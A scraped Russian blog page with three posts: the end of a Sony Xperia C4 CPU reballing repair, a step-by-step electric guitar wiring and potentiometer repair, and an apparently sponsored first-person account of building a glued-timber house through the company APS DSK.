Реболл проводил паяльной пастой при помощи лопатки, паяльная паста Baku BK-050G, раскатал её при помощи лопатки Jakemy JM-Z06 (можно любой пластиковой, или пальцами). К сожалению, процесс реболла конкретно этого проца не заснял, в будущем постараюсь показать его на каком-нибудь MTK-шном доноре, если будет такая необходимость - в прочем, видео и фото реболла пастой в гугле очень много. Уже отреболенный чип:

Ремонт Sony Xperia C4 E5333. Тест штатива "YAXUN YX-TD". Sony, Sony xperia c4, Ремонт техники, Ремонт телефона, Реболлинг, Отвал, Длиннопост

По чипу после снятия с трафарета прошелся спиртом, флюс, находящийся внутри паяльной пасты нужно обязательно тщательно удалить щёткой с изопропиловым спиртом (иначе оставшийся флюс взрывается при посадке микросхемы, и сбивает её с посадочного места). С посадочной площадки тоже удалить щеткой весь флюс, и нанести новый (не очень много, чтобы микросхема не уплыла). Приступим к посадке. Самое сложное - позиционирование, когда понимаешь, что сделать нужно настолько точно, насколько возможно, а второго (третьего) шанса на посадку у этой микросхемы уже может не быть. Для посадки разогревать плату нужно плавно, чтобы флюс растекся под микросхемой, и там не осталось воздушных пузырей. Постепенно, по мере расплавления, текучесть флюса увеличивается, и микросхему может увести уже в момент расплавления самого припоя, поэтому желательно прогреть сначала на 150-200 градусов флюс до плавления, а потом уже придвигать фен поближе, чтобы начать плавление припоя. В прочем, эти тонкости становятся заметны уже на практике, первые разы все пятаки отлетали, и микросхемы уплывали, поэтому лучше тренироваться на полумертвых android'ских MTK донорах (платы от телефонов с убитыми дисплеями или без оных) - после пайки вы хотя бы сможете проверить работу чипа, подключив девайс по USB на самодиагностику (SP Flash Tool), а не гадать вслепую, получилось оно или нет. Итак, посадка:

Ремонт Sony Xperia C4 E5333. Тест штатива "YAXUN YX-TD". Sony, Sony xperia c4, Ремонт техники, Ремонт телефона, Реболлинг, Отвал, Длиннопост

Check ingnition, and may God's love be with you.

Ремонт Sony Xperia C4 E5333. Тест штатива "YAXUN YX-TD". Sony, Sony xperia c4, Ремонт техники, Ремонт телефона, Реболлинг, Отвал, Длиннопост

После посадки весь флюс также нужно оттереть щеткой, т.к. если его оставить, это вызовет проблемы при возможной повторной пайке (через год, а то и меньше).
Проверяем телефон, все функции заработали:

Ремонт Sony Xperia C4 E5333. Тест штатива "YAXUN YX-TD". Sony, Sony xperia c4, Ремонт техники, Ремонт телефона, Реболлинг, Отвал, Длиннопост

Телефон был отдан клиенту, неизвестно, сколько он проработает, но так у него хотя бы появился шанс - а новую плату или чип можно практически всегда купить и поставить.
P.S. уважаемые знатоки, которые будут говорить, что там внутри оторвался кристалл от ниточек, происходит диффузия или ещё какие-то проблемы в пользу замены микросхемы. Могу сказать вам одно - клиент в данном случае знает, что этот ремонт делается крайне дешево, и неизвестно, сколько телефон проработает - могут вылезти остаточные напряжения, которые разрушат пятаки или ещё что-то. В нашем случае помимо этого варианта был только другой - ставить новый проц с али, т.к. ни одной б/у рабочей платы от этой модели мы в своём регионе не нашли. Но после этого под этот проц ещё нужно каким-то макаром шить ключи в память, что может и не получиться, и поэтому 1,5к будет выброшено впустую. Или же менять всю плату, но мы придем к тому же, отчего и ушли. По крайней мере, этот ремонт даст человеку надежду, и он может сохранить хотя бы свои данные. А там уж как повезет - если отвал не повторится, то тело ещё вполне может поработать.
P.P.S. всем спасибо.

Показать полностью 13
59

Ремонт электрогитары

Привет ремонтёрам! Поздравляю всех учащихся с началом учёбы! Чтобы немного отвлечься от неё, показываю на практике один из случаев ремонта (профилактических работ) электрогитары. Часто можно купить б/у гитару с убитой электроникой под восстановление, получив хороший инструмент по достаточно низкой цене. Чаще всего у электрогитар бывают неисправны элементы, взаимодействующие с человеком т.е. потенциометры громкости, тона (они чаще всего или окисляются и теряют звук, или выламываются особо сильными гитаристами), всякие выключатели и переключатели, звукосниматели и гнёзда подключения. Приступим к ремонту. Имеется гитара, из звукоснимателей на месте стоят два хамбакера неизвестной марки.

Ремонт электрогитары Ремонт, Ремонт техники, Электрогитара, Ремонт музыкальной аппаратуры, Длиннопост

Не обращаем внимание на грязь и струны, это всё потом будет заменено, моя задача была сделать электронику. На месте имеются хрустящие потенциометры, а переключатель (трёхпозиционник) звукоснимателей практически свободно ходит на своём месте, и ничего не переключает. Задняя крышка гитары утеряна, задача была сделать хоть какую-то. Также попросили экранировать всё фольгой для надёжности - сильно фонит. Не вижу конкретно в этом действии особого смысла, но раз просят - сделаем. Что видим в потрохах:

Ремонт электрогитары Ремонт, Ремонт техники, Электрогитара, Ремонт музыкальной аппаратуры, Длиннопост

Понятно, что с такими длинными и не подходящими проводами (такие больше подходят для питания, чем звука) гитара будет фонить. Видно вылетевший из контактной пары внизу выключатель. Начинаем работу. Для начала раскрутим все скрутки (они были сделаны для проверки работоспособности звучков гитары на скорую руку, поэтому переделывать будем всё). Отпаиваем выводы хамбакеров с экранированием (здесь красный и синий провода), и определяем работоспособность и положение звукоснимателей. Удобно это сделать с помощью осциллографа. Можно, также, каждый звукосниматель напрямую вывести на звуковой вход пк в режиме прослушивания, или подпаять его к усилителю, после чего подергать струну и постучать по нему. Я использую "игрушечный" осциллограф для этой цели:

Ремонт электрогитары Ремонт, Ремонт техники, Электрогитара, Ремонт музыкальной аппаратуры, Длиннопост

Оба звучка исправны. Определили верхний и нижний - подписываем, чтобы не запутаться.

Ремонт электрогитары Ремонт, Ремонт техники, Электрогитара, Ремонт музыкальной аппаратуры, Длиннопост

Дальше распаиваем всё и снимаем на профилактику потенциометры.

Ремонт электрогитары Ремонт, Ремонт техники, Электрогитара, Ремонт музыкальной аппаратуры, Длиннопост

Также вынимаем джек (этот джек, судя по всему, не родной, т.к. в гнезде держится плохо и выпадает).

Ремонт электрогитары Ремонт, Ремонт техники, Электрогитара, Ремонт музыкальной аппаратуры, Длиннопост

Снимаем выключатель. Начнём с него. Вот держатель его контактов:

Ремонт электрогитары Ремонт, Ремонт техники, Электрогитара, Ремонт музыкальной аппаратуры, Длиннопост

Снимаем все контакты (для этого раскручиваем винты снизу, и послойно снимаем контакты с изоляторами), с самого выключателя снимаем пластиковый боёк и затачиваем поврежденный пластик наждачкой до ровной округлой формы.

Ремонт электрогитары Ремонт, Ремонт техники, Электрогитара, Ремонт музыкальной аппаратуры, Длиннопост

После чего собираем заново контактную группу и подгибаем их чуть ниже, чтобы они захватывали выключатель. Боёк встал на место.

Ремонт электрогитары Ремонт, Ремонт техники, Электрогитара, Ремонт музыкальной аппаратуры, Длиннопост

Перепаял и закрепил джек на два саморезика:

Ремонт электрогитары Ремонт, Ремонт техники, Электрогитара, Ремонт музыкальной аппаратуры, Длиннопост

Берем акустический экранированный провод (можно брать провода от различной аудиотехники: магнитофонов, электрофонов и т.п.), главное, чтобы изоляция была цела. Я брал провода от электрофонов, и дополнительно изолировал их сверху термоусадочной трубкой во избежание замыкания. Здесь вывел звучки и джек - начало сборки гитары.

Ремонт электрогитары Ремонт, Ремонт техники, Электрогитара, Ремонт музыкальной аппаратуры, Длиннопост

Смазал потенциометры специальным маслом. Это масло для улучшения контактов, но медный порошок из его части оседает на дно, а технический вазелин (светло-желтого цвета) оказывается наверху. Им можно смазать контакты потенциометров без разборки оных, он хорошо затекает вовнутрь.

Ремонт электрогитары Ремонт, Ремонт техники, Электрогитара, Ремонт музыкальной аппаратуры, Длиннопост

Но, увы, потенциометры всё равно теряли контакт. Пришлось выполнить их полную разборку, отогнув усики корпуса:

Ремонт электрогитары Ремонт, Ремонт техники, Электрогитара, Ремонт музыкальной аппаратуры, Длиннопост

На графитовой пластине образовался мусор, его нужно аккуратно убрать салфеткой. Слева лежит боёк потенциометра. Это кусочек графита, закрепленный в пружинистой металлической пластине. По центру пластины видно небольшое потемнение. Это контакт центрального вывода - он и являлся причиной плохого сигнала - контакт между электродом и бойком в этом месте затруднён из-за окисления. Такие потенциометры положено заменить, но можно продлить ему жизнь ещё на какое-то время. Для этого я напильником сточил эти окисления с пластины:

Ремонт электрогитары Ремонт, Ремонт техники, Электрогитара, Ремонт музыкальной аппаратуры, Длиннопост

Затем нанёс масло для улучшения контактов (на этот раз вместе с медью) на центр для защиты от коррозии

Ремонт электрогитары Ремонт, Ремонт техники, Электрогитара, Ремонт музыкальной аппаратуры, Длиннопост

Потенциометр, конечно, не стал работать как новый, но качество сигнала значительно улучшилось, а мультиметр перестал показывать погоду при измерении сопротивления. Теперь, при помощи тех же акустических проводов, как я сделал на разъеме "джек" начинаем пайку гитары согласно схеме. Вот пример наиболее подходящей схемы, взятый из интернета:

Ремонт электрогитары Ремонт, Ремонт техники, Электрогитара, Ремонт музыкальной аппаратуры, Длиннопост

Здесь показана схема на четыре потенциометра, в нашем же случае выключатель ставится до регуляторов (выводы звукоснимателей подключаются к нему напрямую), а вот выход уже идёт на регулировку громкости и тона. Немного теории: по сути дела, регулятор громкости (потенциометр) в данном случае включен, как делитель напряжения, уменьшающий выходное напряжение со звукоснимателя. Регулятор тона же представляет собой RC фильтр с изменяемым параметром - сопротивлением резистора (потенциометра) тона. Он ограничивает ток, проходящий через конденсатор и, соответственно, линию среза частоты. Все детали собираются по порядку, как нарисовано на схеме. На этом этапе я, также, приклеил фольгу:

Ремонт электрогитары Ремонт, Ремонт техники, Электрогитара, Ремонт музыкальной аппаратуры, Длиннопост

В готовом варианте практически все детали (кроме проводов) остались оригинальными. Но качество экранирования значительно улучшилось. В заключение нашел более-менее подходящую крышку.

Ремонт электрогитары Ремонт, Ремонт техники, Электрогитара, Ремонт музыкальной аппаратуры, Длиннопост

На этом ремонт был закончен, гитара отправлена хозяину. Аналогичным образом вы можете отремонтировать и другие гитары. Спасибо за внимание, с вами был Kekovsky.

Показать полностью 18

О домах из клееного бруса: честно, без прикрас, из личного опыта

О домах из клееного бруса: честно, без прикрас, из личного опыта Длиннопост

О клееном брусе для строительства домов ходят легенды. Кто-то считает, что дом из такого дерева «не дышит», кто-то — что прочнее материала не сыскать. Ниже история записана со слов Михаила, который построил себе дом из клееного бруса через компанию АПС ДСК. Он делится инсайтами про стройку и дает советы, как не пролететь на дорогом, но любимом многими стеновом материале.


Из чего делать стены для жилья — это практически религия. Кого-то здесь убеждать и спорить — обогревать космос. Я в строительном бизнесе уже 14 лет. И три года назад, изучив все про клееный брус, заказал себе дом именно из него. Вот вам краткая анатомия этого материала и мой опыт работы с ним, а дальше решайте сами, надо оно вам или нет.

Забудьте про «сэкономить»


Хороший брус действительно стоит денег. С самого начала примите это. Цены начинаются от 25 000 рублей за кубометр. У «Слонов» (АПС ДСК) брус мне обошелся в 28 000 рублей. Еще и 4 месяца пришлось ждать в очереди, чтобы взять именно с их завода.


Квадратный метр двухэтажного дома в Подмосковье (под ключ, с сантехникой, заходи – и живи), если заказывать его в строительной конторе, обойдется в среднем в 45-60 000 рублей за квадратный метр. У меня вышло с отделкой ровно 50 000 рублей. Тепловой контур (фундамент, стены, крыша, окна) 27 500 р. за кв. м. Если вам где-то предлагают сильно дешевле — не ведитесь. Наверняка есть подводные камни.


Весь дом мне встал в 8 000 000 рублей. Это заезжай и живи.


Накопите деньги на предоплату. Сумма нужна немаленькая, потому что придется выкупить брус, который нарежут на весь ваш дом. Хранить его долго нельзя, надо сразу строить. Причем долго — это больше недели. Брус должен быть защищен от влаги и вредителей, но при этом к нему нельзя перекрывать доступ воздуха. В общем, сложно.

О домах из клееного бруса: честно, без прикрас, из личного опыта Длиннопост

Совет №1. Выберите подходящий проект или хотя бы фото из интернета с желаемым домом и отдайте его вместе с размерами на просчет в две-три компании. Сравните их предложения по простому чек-листу.


1. Тип фундамента, почему такой выбран. Какая отделка цоколя. Какой пол. Если он на лагах — какой они толщины и с каким шагом. Если тонкие и мало — пол будет как батут.

2. Сколько всего бруса. Если в разных конторах цифра разная, вопрос: а за счет чего сокращают или увеличивают количество высоты потолков, материала внутренних стен?

3. Утепление кровли. Какая пароизоляция и ветрозащита. На качестве пленки экономить нельзя. И упаси вас господь от неумелых строителей, которые мало того, что плохо ее проклеивают, так еще и кладут не той стороной.

4. Стеклопакеты — сколько камер, из чего рамка. У пластиковых меньше теплопроводность. Применяются ли скользящие крепления оконных и дверных коробок.

5. Шлифовка стен, тонировка, антисептик, огнезащита.

6. Инженерка. Первым делом — какое отопление.


Вот минимум позиций, по которым нужно сравнивать предложения строительных компаний. Посмотрите цены и параметры, погуглите нюансы и посоветуйтесь со знающими людьми, если есть возможность.

О домах из клееного бруса: честно, без прикрас, из личного опыта Длиннопост

Какие риски у работы с клееным брусом


Раньше пролететь с клееным брусом можно было легко. Человеку строили дом, внешне он был как пряник, а через год все расклеивалось и шло винтом. В последнее же время качество бруса выровнялось, хотя за Уралом брак еще встречается. Совсем уж плохой материал продают неадекватно дешево. Скупой платит дважды, а в случае с домом это большие деньги, ошибаться нельзя.


Качество клееного бруса по виду определить сложно. Цепочка производства у него длинная, на каждой стадии можно нахимичить. Могли на внутренние ламели пустить доску какую попало: трухлявую, с дефектом, даже ель под видом сосны. Могли доски взять слишком разной влажности или просто сырые. Чем сырее, тем сильнее ваш дом потрескается от усушки. Молчу уже про схему, когда грузят материал так, что сверху и по бокам брус, как себе бы брали, а внутри паллеты — самая что ни на есть труха.


Некоторые продают под видом добротных пород сущую ерунду. Ангарская и архангельская сосны ценятся в строительстве, потому что структура у них лучше. Деревья растут севернее, и дома из них прочнее получаются. Но ангарской сосны столько не рубили, сколько из нее строили. Часто суют что-нибудь поюжнее и пожиже, а цену ломят.


Совет №2. Берите клееный брус с предприятий, у которых есть история и репутация. Узнайте про производство — где, что, как, откуда лес, какой клей.
О домах из клееного бруса: честно, без прикрас, из личного опыта Длиннопост

О нюансах теплоизоляции


Поставщики вам расскажут, что теплозащита у дерева поперек волокон даже лучше, чем у газобетона. Но сруб есть сруб, он будет студить по углам. А если поведет геометрию — так и между брусьями. Но если брус хороший и все по технологии — будьте спокойны. Двухсотого (толщиной 200 мм) вам хватит, чтобы зимовать с комфортом.


Совет №3. Особенно тем, кто не в теме и хочет отдать все «на откуп профессионалам». Не хотите сюрпризов — придется вникнуть, хотя бы базово. Иначе или смета раздуется ближе к стройке, или вылезут ошибки — замучаетесь переделывать..

Со «Слонами» мне особо вникать в план стройки не пришлось. Менеджеры сразу расписали все плюсы и возможные риски, проконсультировали в нескольких смежных вопросах. Как по мне, это правильно.


Обязательно поинтересуйтесь, как обстоят дела с организацией стройплощадки: есть ли биотуалеты, бытовка и так далее. А то после новоселья еще несколько месяцев будете мусор разгребать.

О домах из клееного бруса: честно, без прикрас, из личного опыта Длиннопост

О сложностях с геометрией


Каким бы качественным ни был брус, это все же дерево. Оно сохнет, мокнет, сужается и расширяется. А значит «гуляет». Причем влажность меняется неравномерно. Внутри, на солнце и зимой — меньше, снаружи, в тени и летом — больше. Деформаций не избежать, вопрос лишь в качестве бруса и пряморукости тех, кто собирал коробку. В первую зиму, помолясь, начинайте топить. Сруб будет потрескивать, это нормально.


Венцы — конструкции из одного ряда брусьев, уложенных перпендикулярно друг другу — по всей высоте сруба пронизаны металлическими стержнями на 40 мм, по две на стену. Когда сруб собран, гайки на них протягивают специальными домкратами и приотпускают — чтобы дать небольшую свободу для колебаний. Соответственно, ничего не должно сковывать этих колебаний — ни оконные или дверные коробки, ни отсутствие специальных зазоров — даже лестницу рекомендуется крепить независимо или устанавливать ее уже на этапе финишной отделки. А иначе могут быть трещины в стенах — я видел такие с ладонь толщиной.


Тех, с кем я строил, на всякий случай перепроверил, съездил на их объекты, навел справки по клиентам, узнал, что к качеству сборки нареканий нет. Соберетесь строить — советую сделать то же самое.


Еще несколько важных моментов
1. На брусе могут появляться маленькие трещинки — это нормально. Все равно усадка будет 1-2%.
2. Зимой дом из бруса придется топить чаще, по сравнению с домом из того же утепленного газобетона.
3. Со временем наружный лак отобьется дождем и выгорит на солнце. Покрывать заново нужно будет через 6-8 лет.
О домах из клееного бруса: честно, без прикрас, из личного опыта Длиннопост

Какие плюсы у клееного бруса


Стройка дома из клееного бруса вам сейчас кажется той еще проблемой, но я объясню, почему все же выбрал его. Главное, понятно: дерево — это жизнь, в таком доме есть душа. Тут и спится, и дышится по-другому. Попробуйте как-нибудь, поживите — в каменный мешок обратно не захочется.


Главная фишка — дом собирается быстро, буквально за пару месяцев, как из лего. Заехал и живи. Плюсом экономия времени и денег на отделке. Мокрые процессы заканчиваются на стадии фундамента, никакой грязи на площадке. «Слоны» собрали мне коробку за месяц — все быстро, аккуратно. Дальше дело за малым оставалось.


Клееный брус — вариант не для всех, но кто подошел осознанно, не пожалеет. Главное — не берите лишь бы дешевле и не стройте с кем попало. Как учил меня один состоятельный дружище: можно завести собаку не такую породистую, взять отель звездой ниже, вместо ресторана сходить в столовку. Но когда строишь свое жилье, мелочиться нельзя — из кожи вылезь, но сделай нормально.


И последний совет. Контролируйте стройку на каждом этапе. Хоть у ребят и стояли веб-камеры на объекте, я старался приезжать на площадку минимум раз в неделю. Так спокойнее. Сами не шарите — приглашайте независимых спецов. Но помните, стройки совсем без проблем не бывает. Главное, как ваш застройщик на них реагирует и решает.
О домах из клееного бруса: честно, без прикрас, из личного опыта Длиннопост

Когда строили мой дом, не угадали с погодой. Свежая биозащита пошла потеками. Но технадзор подрядчика отработал, вовремя засекли проблему и все поправили. В остальном все прошло гладко. Я со своим опытом не лезть не мог, но ребята прислушивались. А если не согласны были, аргументировали, чем их решение лучше для проекта.


Дом закончили за 5 месяцев. Еще примерно столько же ушло на обустройство и отделку. За все время я ни разу не пожалел о решении строить из клееного бруса.

О домах из клееного бруса: честно, без прикрас, из личного опыта Длиннопост

Три причины строить дом через АПС ДСК


Во-первых, после того, как внес предоплату — смета не растет, даже если дорожают стройматериалы. Например, контракт заключили зимой, в смете «зимние» цены, а закупка начинается уже по «летним». Бетон может быть вдвое дороже, но клиента это не коснется.


Во-вторых, у компании свое производство клееного бруса и работают они уже 12 лет. Весь процесс от доски на входе до дома на выходе они контролируют сами. Используют финский клей Kiilto и постоянно у финнов учатся.


В-третьих, в течение всей стройки на объекте работает внутренний технадзор. В чек-листе у проверяющего 96 параметров, и все они отражаются на зарплате исполнителей. Плюс к этому — на стройплощадке порядок. Все строго по технике безопасности и оборудовано.

О домах из клееного бруса: честно, без прикрас, из личного опыта Длиннопост
Подробнее о строительстве деревянных домов из клееного бруса по доступным ценам читайте на сайте, а также в инстаграм-аккаунте главного «Слона». В копилке компании двухэтажные дома и жилье в стиле hi-tech или классическом стиле.
Показать полностью 8
Отличная работа, все прочитано!